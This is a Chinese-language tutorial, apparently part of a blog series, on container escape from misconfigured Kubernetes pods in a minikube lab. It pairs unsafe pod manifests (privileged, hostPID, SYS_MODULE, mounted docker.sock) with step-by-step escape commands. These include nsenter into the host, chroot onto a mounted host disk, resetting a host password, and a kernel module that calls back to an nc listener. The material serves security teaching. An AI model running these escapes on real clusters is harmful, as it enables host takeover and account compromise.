• K8s Pod 內其實是由多個容器組成，所以逃逸的原理是一樣的，因此這邊一樣會用之前介紹過的容器逃逸手法來進行逃逸，差別只是在於這邊是用K8s的環境以及不當設定來搭建環境。相關錯誤設定可以參考 Kubernetes Privileged Pod Practical Examples、Bad Pods: Kubernetes Pod Privilege Escalation。

• 以下是今天攻擊手法的介紹以及架構位置，參考 从攻击者视角聊聊K8S集群安全 - 上 一圖，屬於 7 的利用。
  

• 另外依據微軟的 Threat-Matrix-for-Kubernetes，該手法隸屬資料如下 :

  • Execution 策略 :
    • Exec into container
    • Bash or cmd inside container
  • Privilege Escalation 策略 :
    • Privileged container
    • Writable hostPath mount

1. 特權 + 掛載 host pid -> nsenter 操作 : Accessing Kubernetes Node via nsenter without SSH

apiVersion: v1
kind: Namespace
metadata:
  name: 01-privileged-pid
---
apiVersion: v1
kind: Pod
metadata:
  namespace: 01-privileged-pid
  name: test
spec:
  hostPID: true
  containers:
  - name: target-pod
    image: aeifkz/my-ubuntu:v1.0
    securityContext:
      privileged: true

2. 特權容器 : chroot or crontab

apiVersion: v1
kind: Namespace
metadata:
  name: 02-privileged
---
apiVersion: v1
kind: Pod
metadata:
  namespace: 02-privileged
  name: test
spec:
  containers:
  - name: target-pod
    image: aeifkz/my-ubuntu:v1.0
    securityContext:
      privileged: true

3. 擁有 SYS_MODULE 能力

apiVersion: v1
kind: Namespace
metadata:
  name: 03-sys-module
---
apiVersion: v1
kind: Pod
metadata:
  namespace: 03-sys-module
  name: test
spec:
  containers:
  - name: target-pod
    image: aeifkz/my-ubuntu:v1.0
    securityContext:
      capabilities:
        drop:
        - all
        add:
        - SYS_MODULE

4. 掛載 docker.sock

apiVersion: v1
kind: Namespace
metadata:
  name: 04-docker-sock
---
apiVersion: v1
kind: Pod
metadata:
  namespace: 04-docker-sock
  name: test
spec:
  containers:
  - name: target-pod
    image: aeifkz/my-ubuntu:v1.0
    securityContext:
      privileged: false
    volumeMounts:
    - mountPath: /var/run/docker.sock
      name: docker-sock-volume
  volumes:
  - name: docker-sock-volume
    hostPath:
      path: /var/run/docker.sock
      type: Socket

• 解法 :

1. 特權 + 掛載 host pid

kubectl exec -it -n 01-privileged-pid test -- bash ;

# 出現 root@minikube
nsenter -m -u -i -n -p -t 1 bash ; 

docker ps ;

2. 特權容器

kubectl exec -it -n 02-privileged test -- bash ;
fdisk -l ;

#用比較簡單的手法示範就好了
mount /dev/sda2 /mnt ; 

chroot /mnt bash ;

# 居然看到宿主機的帳號清單
cat /etc/passwd ; 

# 幫忙改一下密碼，就可以透過 ssh 用新密碼登入
passwd [使用者帳號] ; 

3. 驅動程式

#準備接收驅動程式打回來的連線
nc -lp 8888 ; 

kubectl exec -it -n 03-sys-module test -- bash ;

# 要先想辦法把外面編譯好的驅動程式抓進來
# 會發現看到宿主機的登入資訊
insmod test.ko ; 

4. docker.sock

kubectl exec -it -n 04-docker-sock test -- bash ;

# 想辦法從外面抓取一個 docker 執行檔案進來
./docker ps ; 

./docker run --rm -it --privileged  --pid=host aeifkz/my-ubuntu:v1.0 bash ; 

# 出現 root@minikube
nsenter -m -u -i -n -p -t 1 bash ; 

• 其實這邊比較像是在複習之前 docker 容器逃逸的手法，但是透過觀察會發現稍稍有點不同。有些逃逸手法會出現 root@minikube，有些則會出現宿主機資訊。這個會跟 mimikube 的架構有關。

• minikube 本身為一個 docker in docker 的結構，所以 K8s 內部元件以及 Pod 都部署在 minikube 這個容器裡面。也就是說從 pod 內逃逸出來假如只成功逃逸一層的話，只會逃脫到 minikube 這個容器裡面。但假如它具有穿透屬性，就有機會一次逃脫到宿主機底層。

• 今日總結 :

  • 本日回顧 :

    • 介紹如何在K8s環境下建立出跟前面容器逃逸一樣的環境，並且試著做容器逃逸比較顯示出來的差異。可以發現因為 minikube 的特殊結構會導致逃逸的層級會不一樣。

  • 次日預告 :

    • 除了跟之前容器逃逸一樣的部分之外，K8s也具有本身才有的特殊逃逸手法，但是數量不多，下次就會掛載機敏目錄較特殊的情境做說明。